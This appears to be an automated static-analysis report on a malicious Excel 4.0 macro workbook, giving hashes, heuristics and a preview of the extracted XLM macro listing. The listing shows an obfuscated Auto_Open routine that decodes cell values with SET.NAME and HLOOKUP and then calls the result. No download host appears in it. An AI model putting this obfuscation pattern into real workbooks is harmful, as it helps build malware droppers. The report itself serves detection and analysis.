Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15b4374cffc28686…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:53 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 270c7fc509afd90d37d871cbbb205fb8 SHA-1: b09ddb30af7550bc3d6203c13399a91786e85055 SHA-256: 15b4374cffc28686571694d3b3b4a38a7c69e59bcdc3f4a25defa38470c9e8b3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, indicating it will execute macros automatically upon opening. The heuristics indicate the use of dangerous formula APIs, specifically referencing the RUN function, which is commonly used to execute arbitrary code or download additional payloads. No specific family could be identified, but the technique suggests a downloader or initial execution stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6729 bytes
SHA-256: 81c249480d1b8e9ca8a5c391dd787045d6ae5e7b9d0c7d2c76bebf53f5d2d99e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rrMnIKk
' 0018     24 LABEL : Cell Value, String Constant - AhxVtuhPR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B166 
' 0018     25 LABEL : Cell Value, String Constant - CnLeatekmC len=0 
' 0018     23 LABEL : Cell Value, String Constant - cysDUazw len=0 
' 0018     20 LABEL : Cell Value, String Constant - Dtinh len=0 
' 0018     26 LABEL : Cell Value, String Constant - IijYfrILOFx len=0 
' 0018     23 LABEL : Cell Value, String Constant - iyFzqDbZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - izOkUkQyl len=0 
' 0018     23 LABEL : Cell Value, String Constant - LqQbWkQC len=0 
' 0018     22 LABEL : Cell Value, String Constant - mBjHKQu len=0 
' 0018     23 LABEL : Cell Value, String Constant - nicjeWAL len=0 
' 0018     20 LABEL : Cell Value, String Constant - NrSfl len=0 
' 0018     23 LABEL : Cell Value, String Constant - OxPeyRfH len=0 
' 0018     20 LABEL : Cell Value, String Constant - PCMUL len=0 
' 0018     22 LABEL : Cell Value, String Constant - RwnFiuT len=0 
' 0018     25 LABEL : Cell Value, String Constant - ufoZuEHNMv len=0 
' 0018     25 LABEL : Cell Value, String Constant - UHDkrVgGHW len=0 
' 0018     25 LABEL : Cell Value, String Constant - UthacDjXyI len=0 
' 0018     20 LABEL : Cell Value, String Constant - XdKoG len=0 
' 0018     20 LABEL : Cell Value, String Constant - YcNoX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZdTAXQLTCe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rrMnIKk,P50,"",-413.00000000000000000000
'  rrMnIKk,P51,"",96.00000000000000000000
'  rrMnIKk,P52,"",730.00000000000000000000
'  rrMnIKk,P53,"",-91.00000000000000000000
'  rrMnIKk,P54,"",15.00000000000000000000
'  rrMnIKk,P55,"",862.00000000000000000000
'  rrMnIKk,B85,"SET.NAME("YcNoX",0+VALUE("0"))",""
'  rrMnIKk,B89,"SET.NAME("iyFzqDbZ",YcNoX)",""
'  rrMnIKk,B93,"SET.NAME("RwnFiuT",YcNoX)",""
'  rrMnIKk,B95,"SET.NAME("izOkUkQyl",COUNTA(PCMUL))",""
'  rrMnIKk,B98,"SET.NAME("LqQbWkQC",COUNTA(UHDkrVgGHW))",""
'  rrMnIKk,B100,[],""
'  rrMnIKk,B103,"SET.NAME("ufoZuEHNMv","")",""
'  rrMnIKk,B105,"iyFzqDbZ",""
'  rrMnIKk,B109,"SET.NAME("XdKoG",HLOOKUP("*",PCMUL,iyFzqDbZ,FALSE))",""
'  rrMnIKk,B111,"CnLeatekmC",""
'  rrMnIKk,B114,"SET.NAME("ZdTAXQLTCe",YcNoX)",""
'  rrMnIKk,B119,[],""
'  rrMnIKk,B121,"ZdTAXQLTCe",""
'  rrMnIKk,B126,"mBjHKQu",""
'  rrMnIKk,B128,"UthacDjXyI",""
'  rrMnIKk,B131,"NrSfl",""
'  rrMnIKk,B133,"SET.NAME("AhxVtuhPR",VALUE(HLOOKUP("*",UHDkrVgGHW,NrSfl,FALSE)))",""
'  rrMnIKk,B136,"cysDUazw",""
'  rrMnIKk,B141,"ufoZuEHNMv",""
'  rrMnIKk,B143,"RwnFiuT",""
'  rrMnIKk,B146,NEXT(),""
'  rrMnIKk,B151,"Dtinh",""
'  rrMnIKk,B153,[],""
'  rrMnIKk,B155,"nicjeWAL",""
'  rrMnIKk,B160,NEXT(),""
'  rrMnIKk,B164,RETURN(),""
'  rrMnIKk,B190,"SET.NAME("IijYfrILOFx",B85)",""
'  rrMnIKk,B193,"PCMUL",""
'  rrMnIKk,B196,"SET.NAME("UHDkrVgGHW",R45C14)",""
'  rrMnIKk,B201,"SET.NAME("nicjeWAL",210)",""
'  rrMnIKk,B206,"SET.NAME("OxPeyRfH",2)",""
'  rrMnIKk,B209,IijYfrILOFx(),""
'  rrMnIKk,B210,HALT(),""

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